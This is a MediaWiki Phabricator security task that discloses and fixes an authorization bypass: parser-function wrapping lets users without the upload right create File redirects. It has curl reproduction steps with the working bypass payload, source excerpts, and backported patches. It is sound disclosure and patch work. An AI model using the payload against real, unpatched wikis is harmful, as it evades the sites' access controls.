Page MenuHomePhabricator

CVE-2026-102974: File redirects can be created without the upload right through pre-save transformation
Closed, ResolvedPublicSecurity

Description

Summary

MediaWiki decides whether a File-namespace edit creates a redirect before it applies the final pre-save transformation (PST), and it never re-checks the transformed content.
A user who can edit an alias File: page but lacks the upload right can hide a #REDIRECT inside a built-in parser function such as subst:ucfirst.
That input is not recognized as a redirect when ImageRedirectConstraint runs, but it expands into #REDIRECT [[File:Target]] during PageUpdater::prepareUpdate().
The transformed redirect is stored without any further upload-right check and is then followed by normal file lookup, bypassing an explicit authorization boundary. (CWE-863)

This is one instance of a broader pattern in which content-dependent edit checks run against submitted text before PST and are never reapplied to the stored revision.

Requirements to exploit

The attacker must be able to edit or create the alias File: page while lacking the upload right. No attacker-controlled template is required because core parser functions can pass arbitrary wikitext through PST.
Stock MediaWiki grants anonymous users edit and createpage but not upload, so a new alias is anonymously reachable on a default public installation.
A pre-existing target file is required for the demonstrated functional alias.

Component affected

MediaWiki core: PageEdit::doEdit() and PageEdit::getPreliminaryChecksRunner() in includes/PageEdit/PageEdit.php; ImageRedirectConstraint::checkConstraint() in includes/EditPage/Constraint/ImageRedirectConstraint.php; PageUpdater::prepareUpdate() in includes/Storage/PageUpdater.php; and DerivedPageDataUpdater::prepareContent() in includes/Storage/DerivedPageDataUpdater.php.

Affected endpoint

The Action API edit path, POST /api.php with action=edit, and equivalent web edits that reach PageEdit::doEdit(). PST and the vulnerable ordering are enabled by default.

Impact

An attacker without upload can persist a functional File redirect to an existing local file in one request.
This assigns an otherwise unbacked or editable File title as an alias despite the explicit upload-right restriction, and requests for that File title then resolve to the target file.

Steps to reproduce

  1. On a test wiki, ensure File:RedirectTarget.png is an existing harmless file. Set $API to the wiki's api.php, use $JAR for the attacker session's cookie jar, and set $TOKEN to that session's CSRF token.

The attacker must have edit and createpage but lack upload. Confirm the rights and obtain the token:

curl -sS -b "$JAR" \
  "$API?action=query&meta=userinfo&uiprop=rights&format=json&formatversion=2"

curl -sS -b "$JAR" -c "$JAR" \
  "$API?action=query&meta=tokens&type=csrf&format=json&formatversion=2"
# Assign query.tokens.csrftoken from this response to TOKEN.
  1. Negative control: submit the redirect literally:
curl -sS -b "$JAR" -c "$JAR" -X POST "$API" \
  --data-urlencode 'action=edit' \
  --data-urlencode 'title=File:DirectRedirect.png' \
  --data-urlencode 'text=#REDIRECT [[File:RedirectTarget.png]]' \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'format=json' \
  --data-urlencode 'formatversion=2'

The response contains noimageredirect, and the page is not created. If the test uses an anonymous session with temporary-account creation enabled, fetch a fresh CSRF token after this request.

  1. Submit the equivalent redirect through a built-in parser function:
curl -sS -b "$JAR" -c "$JAR" -X POST "$API" \
  --data-urlencode 'action=edit' \
  --data-urlencode 'title=File:SubstRedirect.png' \
  --data-urlencode 'text={{subst:ucfirst:#REDIRECT [[File:RedirectTarget.png]]}}' \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'format=json' \
  --data-urlencode 'formatversion=2'

The edit succeeds even though the same user still lacks upload.

  1. Verify the stored source and functional redirect:
curl -sS -b "$JAR" \
  "$API?action=query&prop=revisions&titles=File%3ASubstRedirect.png&rvprop=content&rvslots=main&format=json&formatversion=2"

curl -sS -b "$JAR" \
  "$API?action=query&prop=imageinfo&titles=File%3ASubstRedirect.png&iiprop=canonicaltitle%7Curl&format=json&formatversion=2"

The stored main-slot content is #REDIRECT [[File:RedirectTarget.png]], and imageinfo.canonicaltitle is File:RedirectTarget.png.

Source evidence

PageEdit::doEdit() runs preliminary constraints against the submitted, pre-PST content:

$preliminaryChecksRunner = $this->getPreliminaryChecksRunner(
    $new,
    $textbox_content,
    $requestUser,
    $page->getTitle(),
);
$status = $preliminaryChecksRunner->checkConstraints();

getPreliminaryChecksRunner() passes that content to ImageRedirectConstraint, which only rejects content that is already recognized as a redirect:

new ImageRedirectConstraint(
    $newContent,
    $this->inputs->getPage(),
    $this->inputs->getAuthority()
),

if ( $this->page->getNamespace() === NS_FILE &&
    $this->newContent->isRedirect() &&
    !$this->performer->isAllowed( 'upload' )
) {
    ...
}

After those checks pass, PageEdit::doEdit() calls prepareUpdate():

$pageUpdater = $page->newPageUpdater( $pstUser )
    ->setContent( SlotRecord::MAIN, $content );
$pageUpdater->prepareUpdate( $flags );

PageUpdater::prepareUpdate() then applies PST, and DerivedPageDataUpdater::prepareContent() installs the transformed content:

$this->derivedDataUpdater->prepareContent(
    $this->author,
    $this->slotsUpdate,
    $useStashed
);

$pstContent = $this->contentTransformer->preSaveTransform(
    $slot->getContent(),
    $title,
    $user,
    $userPopts
);
$pstSlot = SlotRecord::newUnsaved( $role, $pstContent );

No equivalent File-redirect upload-right check runs against the transformed main-slot content before it is saved.

Best wishes,
Aisle Research

Event Timeline

Restricted Application added a subscriber: Aklapper. · View Herald Transcript

Based on my local testing, the post-merge checks currently use the pre-PST content, but I think we can get the post-PST content from the PreparedUpdate, pass it to the post-merge checks and then also run the ImageRedirectConstraint in the post-merge checks instead of in the preliminary checks.

This patch will also make RedirectConstraint use the post-PST content, which is technically a behaviour change (although a minor one), I can also remove this change from the patch if that is preferred.

(Also, I still need to do more testing)

Fixed a test and added more info to the commit message:

Catrope added a project: SecTeam-Processed.
Catrope moved this task from Incoming to In Progress on the Security-Team board.
Catrope subscribed.

May be related to T435212

Fixed a test and added more info to the commit message:

Hey @SomeRandomDeveloper -- LGTM. A nice to have would be be adding a regression test that specifically covers this redirect bypass to make sure it stays fixed

Reedy renamed this task from File redirects can be created without the upload right through pre-save transformation to CVE-2026-102974: File redirects can be created without the upload right through pre-save transformation.Tue, Sep 29, 8:47 PM
Reedy added a project: MW-1.46-release.
Reedy added subscribers: mmartorana, Reedy.

Do we know offhand if this is applicable much further back? I'm presuming it is...

rMW036dfc7c5621: editpage: Split constraint runner creation into separate methods seems to be part of the conflict going back from REL1_46 -> REL1_45, and presumably REL1_43 will have that and more.

MW-1.46-release due to rMW6728f042254b: Move page saving logic out of EditPage into a separate class being in master, trivial enough moving the changes to EditPage.php instead

commit 39d80984a8ecb25eb505bcc9b48029a248147d9f (HEAD -> REL1_46)
Author: SomeRandomDeveloper <git@srd.dev>
Date:   Thu Aug 20 16:23:41 2026 +0200

    SECURITY: Run ImageRedirectConstraint with post-PST content

    CVE-2026-102974

    * Run ImageRedirectConstraint as part of the post-merge checks
      instead of the preliminary checks
    * Pass post-PST content from PreparedUpdate to the post-merge checks
    * Grant 'createpage' permission to test user in
      testImageRedirectConstraint, as the permissions are now checked
      before ImageRedirectConstraint is run

    Bug: T435457
    Change-Id: Ifc8e47ee94452f692d4d8b4922f03fa4d0d8bddb

diff --git a/includes/EditPage/EditPage.php b/includes/EditPage/EditPage.php
index 525bf0c1f9e..7bfe6abe0c4 100644
--- a/includes/EditPage/EditPage.php
+++ b/includes/EditPage/EditPage.php
@@ -2077,7 +2077,6 @@ class EditPage implements IEditObject {
                $preliminaryChecksRunner = $this->getPreliminaryChecksRunner(
                        $authority,
                        $new,
-                       $textbox_content,
                        $requestUser,
                        $submitButtonLabel,
                );
@@ -2113,7 +2112,7 @@ class EditPage implements IEditObject {

                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        $newPageChecksRunner = $this->getNewPageChecksRunner(
                                $content,
@@ -2242,7 +2241,7 @@ class EditPage implements IEditObject {

                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        $existingPageChecksRunner = $this->getExistingPageChecksRunner(
                                $authority,
@@ -2290,7 +2289,7 @@ class EditPage implements IEditObject {
                ) ?? '' );

                $postMergeChecksRunner = $this->getPostMergeChecksRunner(
-                       $content,
+                       $preparedUpdate->getRawContent( SlotRecord::MAIN ),
                        $submitButtonLabel,
                );
                $status = $postMergeChecksRunner->checkConstraints();
@@ -2373,7 +2372,6 @@ class EditPage implements IEditObject {
        private function getPreliminaryChecksRunner(
                Authority $authority,
                bool $new,
-               Content $newContent,
                User $requestUser,
                string $submitButtonLabel,
        ): EditConstraintRunner {
@@ -2398,12 +2396,6 @@ class EditPage implements IEditObject {
                                $this->getTitle()
                        ),

-                       new ImageRedirectConstraint(
-                               $newContent,
-                               $this->getTitle(),
-                               $authority
-                       ),
-
                        $this->constraintFactory->newReadOnlyConstraint(),

                        new AuthorizationConstraint(
@@ -2520,15 +2512,21 @@ class EditPage implements IEditObject {
        }

        private function getPostMergeChecksRunner(
-               Content $content,
+               Content $postPstContent,
                string $submitButtonLabel,
        ): EditConstraintRunner {
-               $constraintRunner = new EditConstraintRunner();
+               $constraintRunner = new EditConstraintRunner(
+                       new ImageRedirectConstraint(
+                               $postPstContent,
+                               $this->inputs->getPage(),
+                               $this->inputs->getAuthority()
+                       ),
+               );
                if ( !$this->ignoreProblematicRedirects ) {
                        $constraintRunner->addConstraint(
                                $this->constraintFactory->newRedirectConstraint(
                                        $this->allowedProblematicRedirectTarget,
-                                       $content,
+                                       $postPstContent,
                                        $this->getCurrentContent(),
                                        $this->getTitle(),
                                        MessageValue::new(
diff --git a/tests/phpunit/includes/EditPage/EditPageConstraintsTest.php b/tests/phpunit/includes/EditPage/EditPageConstraintsTest.php
index 05cf61657eb..715a427eddc 100644
--- a/tests/phpunit/includes/EditPage/EditPageConstraintsTest.php
+++ b/tests/phpunit/includes/EditPage/EditPageConstraintsTest.php
@@ -450,7 +450,7 @@ class EditPageConstraintsTest extends MediaWikiLangTestCase {
                }

                $permissionManager = $this->getServiceContainer()->getPermissionManager();
-               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit' ] );
+               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit', 'createpage' ] );

                $edit = [
                        'wpTextbox1' => '#REDIRECT [[File:Example other file.jpg]]',

REL1_45 (untested):

commit 916ea9f8359f396b265faf17f75bf4d4c1254811 (HEAD -> REL1_45)
Author: SomeRandomDeveloper <git@srd.dev>
Date:   Thu Aug 20 16:23:41 2026 +0200

    SECURITY: Run ImageRedirectConstraint with post-PST content

    CVE-2026-102974

    * Run ImageRedirectConstraint as part of the post-merge checks
      instead of the preliminary checks
    * Pass post-PST content from PreparedUpdate to the post-merge checks
    * Grant 'createpage' permission to test user in
      testImageRedirectConstraint, as the permissions are now checked
      before ImageRedirectConstraint is run

    Bug: T435457
    Change-Id: Ifc8e47ee94452f692d4d8b4922f03fa4d0d8bddb

diff --git a/includes/editpage/EditPage.php b/includes/editpage/EditPage.php
index f2f010b69ea..725b4ef457f 100644
--- a/includes/editpage/EditPage.php
+++ b/includes/editpage/EditPage.php
@@ -2181,13 +2181,6 @@ class EditPage implements IEditObject {
                                $this->mTitle
                        )
                );
-               $constraintRunner->addConstraint(
-                       new ImageRedirectConstraint(
-                               $textbox_content,
-                               $this->mTitle,
-                               $authority
-                       )
-               );
                $constraintRunner->addConstraint(
                        $constraintFactory->newReadOnlyConstraint()
                );
@@ -2273,7 +2266,7 @@ class EditPage implements IEditObject {
                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                // @phan-suppress-next-line PhanTypeMismatchArgumentNullable False positive
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2424,7 +2417,7 @@ class EditPage implements IEditObject {

                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2497,13 +2490,22 @@ class EditPage implements IEditObject {
                $this->contentLength = strlen( $this->toEditText( $content ) );

                // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
+
+               $postPstContent = $preparedUpdate->getRawContent( SlotRecord::MAIN );
+
                // Create a new runner to avoid rechecking the prior constraints, use the same factory
-               $constraintRunner = new EditConstraintRunner();
+               $constraintRunner = new EditConstraintRunner(
+                       new ImageRedirectConstraint(
+                               $postPstContent,
+                               $this->mTitle,
+                               $authority
+                       )
+               );
                if ( !$this->ignoreProblematicRedirects ) {
                        $constraintRunner->addConstraint(
                                new RedirectConstraint(
                                        $this->allowedProblematicRedirectTarget,
-                                       $content,
+                                       $postPstContent,
                                        $this->getCurrentContent(),
                                        $this->getTitle(),
                                        $submitButtonLabel,
diff --git a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
index d84ae738712..f9e8bd45e69 100644
--- a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
+++ b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
@@ -449,7 +449,7 @@ class EditPageConstraintsTest extends MediaWikiLangTestCase {
                }

                $permissionManager = $this->getServiceContainer()->getPermissionManager();
-               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit' ] );
+               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit', 'createpage' ] );

                $edit = [
                        'wpTextbox1' => '#REDIRECT [[File:Example other file.jpg]]',

REL1_43:

commit bd951cbac0111b9724f71d3892d1d8670916b484 (HEAD -> REL1_43)
Author: SomeRandomDeveloper <git@srd.dev>
Date:   Thu Aug 20 16:23:41 2026 +0200

    SECURITY: Run ImageRedirectConstraint with post-PST content

    CVE-2026-102974

    * Run ImageRedirectConstraint as part of the post-merge checks
      instead of the preliminary checks
    * Pass post-PST content from PreparedUpdate to the post-merge checks
    * Grant 'createpage' permission to test user in
      testImageRedirectConstraint, as the permissions are now checked
      before ImageRedirectConstraint is run

    Bug: T435457
    Change-Id: Ifc8e47ee94452f692d4d8b4922f03fa4d0d8bddb

diff --git a/includes/editpage/EditPage.php b/includes/editpage/EditPage.php
index a4d439f449a..11d419986f7 100644
--- a/includes/editpage/EditPage.php
+++ b/includes/editpage/EditPage.php
@@ -2162,13 +2162,7 @@ class EditPage implements IEditObject {
                                $this->mTitle
                        )
                );
-               $constraintRunner->addConstraint(
-                       new ImageRedirectConstraint(
-                               $textbox_content,
-                               $this->mTitle,
-                               $authority
-                       )
-               );
+
                $constraintRunner->addConstraint(
                        $constraintFactory->newUserBlockConstraint( $this->mTitle, $requestUser )
                );
@@ -2257,7 +2251,7 @@ class EditPage implements IEditObject {
                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                // @phan-suppress-next-line PhanTypeMismatchArgumentNullable False positive
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2407,7 +2401,7 @@ class EditPage implements IEditObject {

                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2480,8 +2474,20 @@ class EditPage implements IEditObject {
                $this->contentLength = strlen( $this->toEditText( $content ) );

                // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
+
+               $postPstContent = $preparedUpdate->getRawContent( SlotRecord::MAIN );
+
                // Create a new runner to avoid rechecking the prior constraints, use the same factory
                $constraintRunner = new EditConstraintRunner();
+
+               $constraintRunner->addConstraint(
+                       new ImageRedirectConstraint(
+                               $postPstContent,
+                               $this->mTitle,
+                               $authority
+                       )
+               );
+
                $constraintRunner->addConstraint(
                        new SelfRedirectConstraint(
                                $this->allowSelfRedirect,
@@ -2490,6 +2496,7 @@ class EditPage implements IEditObject {
                                $this->getTitle()
                        )
                );
+
                $constraintRunner->addConstraint(
                        // Same constraint is used to check size before and after merging the
                        // edits, which use different failure codes
diff --git a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
index 2ca60706603..ccba82ba50c 100644
--- a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
+++ b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
@@ -449,7 +449,7 @@ class EditPageConstraintsTest extends MediaWikiLangTestCase {

                $permissionManager = $this->getServiceContainer()->getPermissionManager();
                // Needs edit rights to pass EditRightConstraint and reach ImageRedirectConstraint
-               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit' ] );
+               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit', 'createpage' ] );

                $edit = [
                        'wpTextbox1' => '#REDIRECT [[File:Example other file.jpg]]',

REL1_45:

commit bf342be5caa0650611244925a3f4bfee8c8fd9d7 (HEAD -> REL1_45)
Author: SomeRandomDeveloper <git@srd.dev>
Date:   Thu Aug 20 16:23:41 2026 +0200

    SECURITY: Run ImageRedirectConstraint with post-PST content

    CVE-2026-102974

    * Run ImageRedirectConstraint as part of the post-merge checks
      instead of the preliminary checks
    * Pass post-PST content from PreparedUpdate to the post-merge checks
    * Grant 'createpage' permission to test user in
      testImageRedirectConstraint, as the permissions are now checked
      before ImageRedirectConstraint is run

    Bug: T435457
    Change-Id: Ifc8e47ee94452f692d4d8b4922f03fa4d0d8bddb

diff --git a/includes/editpage/EditPage.php b/includes/editpage/EditPage.php
index f2f010b69ea..3e2f2998c2d 100644
--- a/includes/editpage/EditPage.php
+++ b/includes/editpage/EditPage.php
@@ -2181,13 +2181,6 @@ class EditPage implements IEditObject {
                                $this->mTitle
                        )
                );
-               $constraintRunner->addConstraint(
-                       new ImageRedirectConstraint(
-                               $textbox_content,
-                               $this->mTitle,
-                               $authority
-                       )
-               );
                $constraintRunner->addConstraint(
                        $constraintFactory->newReadOnlyConstraint()
                );
@@ -2273,7 +2266,7 @@ class EditPage implements IEditObject {
                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                // @phan-suppress-next-line PhanTypeMismatchArgumentNullable False positive
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2424,7 +2417,7 @@ class EditPage implements IEditObject {

                        $pageUpdater = $this->page->newPageUpdater( $pstUser )
                                ->setContent( SlotRecord::MAIN, $content );
-                       $pageUpdater->prepareUpdate( $flags );
+                       $preparedUpdate = $pageUpdater->prepareUpdate( $flags );

                        // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
                        // Create a new runner to avoid rechecking the prior constraints, use the same factory
@@ -2497,13 +2490,24 @@ class EditPage implements IEditObject {
                $this->contentLength = strlen( $this->toEditText( $content ) );

                // BEGINNING OF MIGRATION TO EDITCONSTRAINT SYSTEM (see T157658)
+
+               $postPstContent = $preparedUpdate->getRawContent( SlotRecord::MAIN );
+
                // Create a new runner to avoid rechecking the prior constraints, use the same factory
                $constraintRunner = new EditConstraintRunner();
+
+               $constraintRunner->addConstraint(
+                       new ImageRedirectConstraint(
+                               $postPstContent,
+                               $this->mTitle,
+                               $authority
+                       )
+               );
                if ( !$this->ignoreProblematicRedirects ) {
                        $constraintRunner->addConstraint(
                                new RedirectConstraint(
                                        $this->allowedProblematicRedirectTarget,
-                                       $content,
+                                       $postPstContent,
                                        $this->getCurrentContent(),
                                        $this->getTitle(),
                                        $submitButtonLabel,
diff --git a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
index d84ae738712..f9e8bd45e69 100644
--- a/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
+++ b/tests/phpunit/includes/editpage/EditPageConstraintsTest.php
@@ -449,7 +449,7 @@ class EditPageConstraintsTest extends MediaWikiLangTestCase {
                }

                $permissionManager = $this->getServiceContainer()->getPermissionManager();
-               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit' ] );
+               $permissionManager->overrideUserRightsForTesting( $user, [ 'edit', 'createpage' ] );

                $edit = [
                        'wpTextbox1' => '#REDIRECT [[File:Example other file.jpg]]',

Change #1347844 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/core@master] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347844

Change #1347844 merged by jenkins-bot:

[mediawiki/core@master] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347844

Change #1347861 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/core@REL1_46] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347861

Change #1347875 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/core@REL1_45] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347875

Change #1347861 merged by jenkins-bot:

[mediawiki/core@REL1_46] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347861

Change #1347875 merged by jenkins-bot:

[mediawiki/core@REL1_45] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347875

Change #1347892 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/core@REL1_43] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347892

Change #1347892 merged by jenkins-bot:

[mediawiki/core@REL1_43] SECURITY: Run ImageRedirectConstraint with post-PST content

https://gerrit.wikimedia.org/r/1347892

[...]
Hey @SomeRandomDeveloper -- LGTM. A nice to have would be be adding a regression test that specifically covers this redirect bypass to make sure it stays fixed

The task and the PoC technically isn't public yet, but can I upload this to gerrit?

[...]
Hey @SomeRandomDeveloper -- LGTM. A nice to have would be be adding a regression test that specifically covers this redirect bypass to make sure it stays fixed

The task and the PoC technically isn't public yet, but can I upload this to gerrit?

(cc @sbassett)

The task and the PoC technically isn't public yet, but can I upload this to gerrit?

I'll make this task public, since the security bug was already released. Your follow-up patch can go through gerrit.

sbassett changed Author Affiliation from N/A to Other (Please specify in description).
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to High.

Change #1355161 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/core@master] PageEdit: Add a regression test for T435457

https://gerrit.wikimedia.org/r/1355161

I'll make this task public, since the security bug was already released. Your follow-up patch can go through gerrit.

Thanks!